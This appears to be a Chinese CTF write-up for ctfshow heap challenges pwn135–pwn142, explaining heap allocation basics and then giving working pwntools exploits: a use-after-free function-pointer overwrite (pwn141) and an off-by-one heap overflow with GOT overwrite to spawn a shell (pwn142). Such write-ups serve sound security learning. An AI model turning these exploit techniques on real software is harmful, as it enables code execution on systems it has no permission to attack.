为防止题目难度跨度太大,135-140 为演示题目阶段

# pwn135

# 题目

题目描述: 如何申请堆?

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

演示了 malloccallocrealloc 函数

区别:

  • 函数 malloc 不能初始化所分配的内存空间,而函数 calloc 能
  • 函数 calloc () 会将所分配的内存空间中的每一位都初始化为零
  • realloc 可以对给定的指针所指的空间进行扩大或者缩小,无论是扩张或是缩小,原有内存的中内容将保持不变

【直接输入 4 就可以获得 flag】

# pwn136 (brk 与 sbrk)

# 题目

题目描述: 如何释放堆?

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

这里是对 malloccallocrealloc 申请的空间进行释放

# pwn137

# 题目

题目描述: sbrk and brk example

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
c
int sbrk_brk()
{
  unsigned int v0; // eax
  void *v1; // rax
  char *addr; // [rsp+0h] [rbp-10h]
  void *v4; // [rsp+8h] [rbp-8h]
  v0 = getpid();
  printf("sbrk example:%d\n", v0);
  addr = (char *)sbrk(0LL);
  printf("Program Break Location1:%p\n", addr);
  getchar();
  brk(addr + 4096);
  v1 = sbrk(0LL);
  printf("Program Break Location2:%p\n", v1);
  getchar();
  brk(addr);
  v4 = sbrk(0LL);
  printf("Program Break Location3:%p\n", v4);
  getchar();
  return system("cat /ctfshow_flag");
}

这里是利用 brk 和 sbrk 来实现内存分配

brk (addr) 函数直接修改有效访问范围的 末尾地址 实现分配与回收(返回 0 或 - 1)

sbrk () 参数函数中:当 increment 为正值时,间断点位置向后移动 increment 字节。同时返回移动之前的位置,相当于分配内存。当 increment 为负值时,位置向前移动 increment 字节,相当与于释放内存 (返回修改间断点前的地址)

所以这里一开始 addr = (char *)sbrk(0LL); 为间断点起始地址;

brk(addr + 4096); 间断点地址开始 + 4096;

brk(addr); 将间断点设置回原来 addr

# pwn138 (mmap 内存映射)

内存映射在多进程访问文件读写的时候非常方便

malloc 会使用 mmap 来创建独立的匿名映射段。匿名映射的目的主要是可以申请以 0 填充的内存,并且这块内存仅被调用进程所使用

【必看:https://cloud.tencent.com/developer/article/1944278?shareByChannel=link#content】

# 题目

题目描述: Private anonymous mapping exampl

64 位程序,保护全开

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  void *addr; // [rsp+8h] [rbp-8h]
  init(argc, argv, envp);
  logo();
  v3 = getpid();
  printf("Welcome to private anonymous mapping example::PID:%d\n", v3);
  puts("Before mmap");
  getchar();
  addr = mmap(0LL, 0x21000uLL, 3, 34, -1, 0LL);
  if ( addr == (void *)-1LL )
    errExit("mmap");
  puts("After mmap");
  getchar();
  if ( munmap(addr, 0x21000uLL) == -1 )
    errExit("munmap");
  puts("After munmap");
  getchar();
  system("cat /ctfshow_flag");
  return 0;
}

建立一个私人匿名映射区域,利用 munmap 来销毁这个区域

# pwn139 (多线程支持)

glibc的ptmalloc支持多线程 ,一个线程申请的 1 个或多个堆包含很多的信息,Arena 就是来管理线程中的这些堆的,也可以理解为堆管理器所持有的内存池

一个线程只有一个 arnea,并且这些线程的 arnea 都是独立的不是相同的

主线程的 arnea 称为 “main_arena”。子线程的 arnea 称为 “thread_arena”

# 题目

题目描述: 多线程支持

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
c
void flag_demo()
{
  __int64 i; // [rsp+0h] [rbp-20h]
  FILE *stream; // [rsp+8h] [rbp-18h]
  __int64 size; // [rsp+10h] [rbp-10h]
  char *ptr; // [rsp+18h] [rbp-8h]
  stream = fopen("/ctfshow_flag", "rb");
  if ( stream )
  {
    fseek(stream, 0LL, 2);
    size = ftell(stream);
    fseek(stream, 0LL, 0);
    puts("Allocate heap memory:");
    sleep(3u);
    ptr = (char *)malloc(size);
    if ( ptr )
    {
      sleep(1u);
      puts("Read ctfshow_flag");
      sleep(3u);
      if ( fread(ptr, 1uLL, size, stream) == size )
      {
        fclose(stream);
        puts("Here is your flag:");
        for ( i = 0LL; i < size; ++i )
          putchar(ptr[i]);
        sleep(1u);
        puts("free");
        free(ptr);
      }
      else
      {
        perror("Failed to read file");
        fclose(stream);
        free(ptr);
      }
    }
    else
    {
      perror("Memory allocation failed");
      fclose(stream);
    }
  }
  else
  {
    perror("Failed to open file");
  }
}

# pwn140(利用 pthread_create函数 创建多线程)

pthread_create () 函数用来创建线程,pthread_join () 函数用来接收线程执行函数的返回值

# 题目

题目描述: 多线程支持

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int result; // eax
  pthread_t newthread; // [rsp+10h] [rbp-20h] BYREF
  void *thread_return; // [rsp+18h] [rbp-18h] BYREF
  void *ptr; // [rsp+20h] [rbp-10h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]
  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  v3 = getpid();
  printf("Welcome to per thread arena example::%d\n", v3);
  puts("Before malloc in main thread");
  getchar();
  ptr = malloc(0x3E8uLL);
  puts("After malloc and before free in main thread");
  getchar();
  free(ptr);
  puts("After free in main thread");
  getchar();
  if ( pthread_create(&newthread, 0LL, (void *(*)(void *))threadFunc, 0LL) )
  {
    puts("Thread creation error");
    result = -1;
  }
  else if ( pthread_join(newthread, &thread_return) ) // 接收子线程函数的返回值
  {
    puts("Thread join error");
    result = -1;
  }
  else
  {
    system("cat /ctfshow_flag");
    result = 0;
  }
  return result;
}
c
int __fastcall threadFunc(void *a1)
{
  void *ptr; // [rsp+18h] [rbp-8h]
  puts("Before malloc in thread 1");
  getchar();
  ptr = malloc(0x3E8uLL);
  puts("After malloc and before free in thread 1");
  getchar();
  free(ptr);
  puts("After free in thread 1");
  return getchar();
}

# pwn141(uaf)

# 题目

题目描述: 使用已经释放的内存

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)


有个后门函数

c
int use()
{
  return system("cat /ctfshow_flag");
}

# 漏洞分析

可以看到题目说明 使用释放的内存 ,看代码发现释放的空间没有将指针清空,所以可以接着使用这一部分内容,就可以对其进行改写;接着发现每个 notelist+i (从 1-4,起始 i 从 0-3)这个数组存放的是 print_note_content 函数来打印对应 chunk 内的内容,而其实最初的选项中打印内容 print_note 函数就是调用的这个函数,这样一来我们改写这个内存存放的函数为后门函数,再打印就能获得 flag

c
int __cdecl print_note_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

存放打印函数地址的内存也是由 malloc 来申请的,并且当我们执行一次 add_note 时就会申请一个 8 字节(不包含头部空间)的空间来存放 ptrin_note_content 地址:

申请:

查看堆:


从上面就可以知道,每次申请空间都会顺带申请一个 print_note_content 的空间,而只要将这里修改为后门就能执行获得 flag

利用 uaf,释放我们申请的空间,然后将其 fd 指向存放 print_note_content 函数的地址,申请两次将存放 print_note_content 的内存申请回来修改,最后执行打印即可

【但是这里如何修改 fastbin 中的 fd 呢,申请回去后脱离了 fastbin 表】

【这里想复杂了,无法通过修改 fd 来指向存放 print_note_content 的 chunk,然后申请该 chunk,但是本身它自己就开辟了空间,通过释放后也会进入 fastbin,直接申请 8 字节然后就能申请回来修改地址,然后打印就行】

这里注意一个细节:

打印 index 0 是因为申请 allocate(8,p32(use)) 时会先申请一个 8 字节来存放这个 chunk 的 print_note_content , 也就先将 index1 申请出去了,然后我们申请的其实是 index 0 所以打印 index 0,这也解释了为什么需要一开始要申请两个 chunk

c
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p=process("./pwn141")
p=remote("pwn.challenge.ctf.show",28160)
#p=remote('node4.buuoj.cn',25727)
#e=ELF("./babyheap_0ctf_2017")
#write_plt=e.plt["write"]
#read_plt=e.plt["read"]
use=0x8049684
def allocate(size,content):
    p.sendlineafter("choice :",b"1")
    p.sendlineafter("Note size :",str(size))
    p.sendlineafter("Content :",content)
def free(index):
    p.sendlineafter("choice :","2")
    p.sendlineafter("Index :",str(index))
def printf(index):
    p.sendlineafter(b"choice :",b"3")
    p.sendlineafter(b"Index :",str(index))
allocate(0x10,"aaaa") 
allocate(0x10,"bbbb")
free(0)
free(1)
allocate(8,p32(use))
printf(0) // 这里必须打印 index0,打印 index1 就不对
p.recv()
p.interactive()

# pwn142 (off by one 后进行堆溢出,got 改写)

# 题目

题目描述: 堆块重叠

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

# 程序代码

堆的菜单题:

main:

creat_heap:

edit_heap:

show_heap:

delete_heap:

# 漏洞分析:

edit 中有个 off by one 漏洞,可以通过申请 0x18/0x28 之类的 chunk(这里记这个保存内容的 chunk 为 conten_chunk )来将其下一个堆块的 pre_size 来作为空间利用,这样我们还可以多一个字节正好能覆盖到下一个堆块的 size 位(记保存 size 的 chunk 为 size_chunk

我们能够覆盖 size_chunk 的 size 为其他大小,然后释放后我们就能够申请这个 size_chunk ,因为改写了其 size 的大小,所以我们就能够溢出到其他的 chunk,可以修改其保存的 content_chunk 地址为 free_got ,然后进行改写

实现方式:

【红色以及上面的部分为 index0,蓝色与绿色为 index1】

可以将上面蓝色框的 size 改为 0x41(相当于申请 0x30 的 chunk)这样可以溢出改写到绿色框的内容(在改写前需要释放 index1,也就是蓝色框和绿色框的 chunk):

释放 index1

接着申请 0x30 的 chunk,就会将蓝色的申请过来,而绿色的就会保存其 size 和其地址(因为其实际大小 0x10),接着就可以通过 0x30 的 chunk 溢出来改写这个 size_chunk 保存的地址,改为 free_got 然后就能通过索引到 free_got 的地方来将 free_got 变为 system 地址【这里注意改写时要将其保存的 size 不能为 0 不然被检测】

最后释放 index0 时就会变成 system (&index0),所以在 index0 写入 /bin/sh\x00 即可

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p=remote('node4.buuoj.cn',25727)
p=remote("pwn.challenge.ctf.show",28251)
e=ELF("./pwn142")
#p=process("./pwn142")
#write_plt=e.plt["write"]
#read_plt=e.plt["read"]
free_got=e.got["free"]
def creat(size,content):
    p.sendafter("Your choice :",b"1")
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendlineafter("Content of heap:",content)
def edit(index,content):
    p.sendlineafter("Your choice :",b"2")
    p.sendlineafter("Index :",str(index))
    p.sendafter("Content of heap : ",content)
    
def show(index):
    p.sendlineafter("Your choice :",b"3")
    p.sendlineafter("Index :",str(index))
def delete(index):
    p.sendlineafter("choice :","4")
    p.sendlineafter(b"Index :",str(index))
creat(0x28,b"a"*4)
creat(0x10,b"b"*4)# it has to be 0x10
edit(0,b"/bin/sh\x00"+b"a"*0x20+b'\x41')
delete(1)
creat(0x30,p64(0)*4+p64(0x10)+p64(free_got))
show(1)
p.recvuntil("Content : ")
free_=u64(p.recv(6).ljust(8,b"\x00"))
libc=LibcSearcher("free",free_)
libc_base=free_-libc.dump("free")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
edit(1,p64(system))
delete(0)
p.interactive()